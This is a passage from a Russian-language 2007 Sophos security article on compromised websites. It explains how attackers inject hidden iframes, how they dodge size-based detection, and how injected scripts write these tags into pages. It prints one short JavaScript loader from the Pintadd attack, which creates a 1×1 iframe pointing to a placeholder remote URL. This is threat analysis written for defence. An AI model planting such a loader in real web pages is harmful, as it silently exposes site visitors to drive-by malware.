Скомпрометированные сайты

Cтатья "Современные интернет-атаки" предоставлена Sophos Plc и SophosLabs.

Август 2007 г.

Между пользователями и используемыми ими веб-службами обычно устанавливаются доверительные отношения. Пользователи подключаются к сайтам для использования предоставляемых ими услуг (от интернет-карт и новостей до прогнозов погоды), позволяя своим браузерам соответствующим образом отображать страницы. Пользователей обычно призывают вести списки надежных сайтов, чтобы браузер можно было настроить в соответствии с уровнем надежности просматриваемого сайта. Таким образом пользователи могут включать в браузерах также вещи, как скрипты, ActiveX и Java, если они необходимы для просмотра конкретного сайта. Сама по себе идея применения более строгих правил к разрешенному контенту, поступающему из ненадежной области, основана на разумных принципах.

Тем не менее в последнее время количество скомпрометированных сайтов существенно выросло [31]. В чем же причина? Хакеры занимаются этим не только из-за сомнительной чести дефейса сайтов [32, 33]. Компрометация сайта, в результате которой на страницах загружается вредоносный контент, служит малозаметным средством достижения целей, рассматривавшихся в начале этой статьи — распространения и реализации угрозы. Более того, если скомпрометирован сайт с большим количеством регулярных пользователей, которые считают его надежным, то потенциальное число жертв также будет весьма велико. Взлом веб-сайта команды Miami Dolphins перед кубком Super Bowl 2007 года служит подтверждением того, что атака с помощью компрометации веб-сайта может стать исключительно масштабной [34].

Язык HTML предоставляет множество удобных способов загрузки дополнительного контента. Чаще всего на скомпрометированных сайтах используется метод с применением тега <IFRAME> [35], который позволяет незаметно загрузить на страницу дополнительный контент. Этот тег широко используется во вполне мирных целях на многих веб-сайтах. Компрометация считавшегося надежным сайта с помощью этого метода весьма удобна для создателей вредоносного ПО, поскольку для завлечения пользователей на сайт не требуется применение социальной инженерии, а для загрузки вредоносного контента не нужны действия пользователя. Статистика за первое полугодие 2007 года показала, что почти в 50 % случаев вредоносное ПО, работающее через Интернет, использует теги iframe [36]. Этот тег поддерживает несколько атрибутов. Чаще всего в атаках используются атрибуты ширины и высоты, с помощью которых можно задавать размер фрейма на странице, куда загружается контент. Чтобы сделать компрометацию незаметной для пользователя, в большинстве вредоносных тегов iframe задаются весьма малые значения для длины и ширины (0-10 пикселей). Подобные теги приводят к созданию на странице множества мелких полей, которые могут стать весьма заметны в случае ее многократного заражения.

Несмотря на то, что вредоносные теги iframe содержат эти атрибуты, упреждающее выявление скомпрометированных страниц является весьма нетривиальной задачей, поскольку эти же атрибуты используются на многих обычных страницах. Атрибуты, задающие размер, сами по себе могут служить только косвенным признаком — для гарантированного выявления также должен проверяться атрибут src тега iframe. Любопытно, что в нескольких недавних атаках вместо сверхмалого используется сверхкрупный размер (к примеру, 1500 на 1500 пикселей); очевидно, это попытка обхода выявления скомпрометированных страниц по подозрительно малым значениям атрибутов размера.

Рис. 8. Снимок многократно зараженного сайта. Можно видеть несколько мелких полей (по одному на каждый из 23 вставленных вредоносных тегов

Аналогичный результат обычно достигается путем компрометации веб-страницы с помощью вредоносного скрипта, который просто вписывает тег iframe в страницу при ее просмотре. Хотя конечный результат по сути тот же (незаметная загрузка вредоносного контента с удаленного сервера при просмотре страницы), с точки зрения методов предотвращения такие атаки стоят особняком. Для выявления зараженных таким образом страниц необходимо выявить добавленный скрипт, а не проверять страницу на наличие вредоносных тегов iframe (если только технология проверки не позволяет интерпретировать или эмулировать JavaScript). С учетом того, что вредоносную операцию document.write ('<iframe... >')в JavaScript можно замаскировать множеством способов (см. рис. 9), заблаговременное выявление становится еще более сложной задачей.

Рис. 9. Веб-страница, зараженная вредоносным скриптом, вписывающим в код просматриваемой страницы тег iframe. (сверху: тег iframe, записываемый на страницу; снизу: вредоносный скрипт, добавленный на страницу при заражении).

В ходе недавней атаки, получившей название Pintadd [37], многие сайты были заражены скриптом, в котором использовалась слегка измененная методика загрузки удаленного вредоносного контента с помощью тега iframe. Вместо простого вызова document.write() в скрипте используется функция createElement() [38], позволяющая создать элемент iframe. После этого для тега задаются необходимые атрибуты, а сам тег добавляется на текущую страницу с помощью метода appendChild() [39]:

Примечание.

var url='http://domain/path/index.php' ;

var ifr=document.createElement('iframe');

ifr.setAttribute('src' , url) ;

ifr.frameBorder=0;

ifr.width=1;

ifr.height=1;

document.body.appendChild(ifr)

С точки зрения жертвы результат будет тем же, что и в случае прямого внедрения тега iframe. Тем не менее, для защитного ПО это новая проблема.

Практически все зараженные сайты, выявляемые компанией SophosLabs, подвергаются загрузке дополнительного вредоносного контента с удаленных серверов. По сути скомпрометированные сайты используются для незаметной загрузки вредоносных скриптов и запуска механизма заражения (см. раздел 3.3). В некоторых атаках (например, в случае Dorf) используются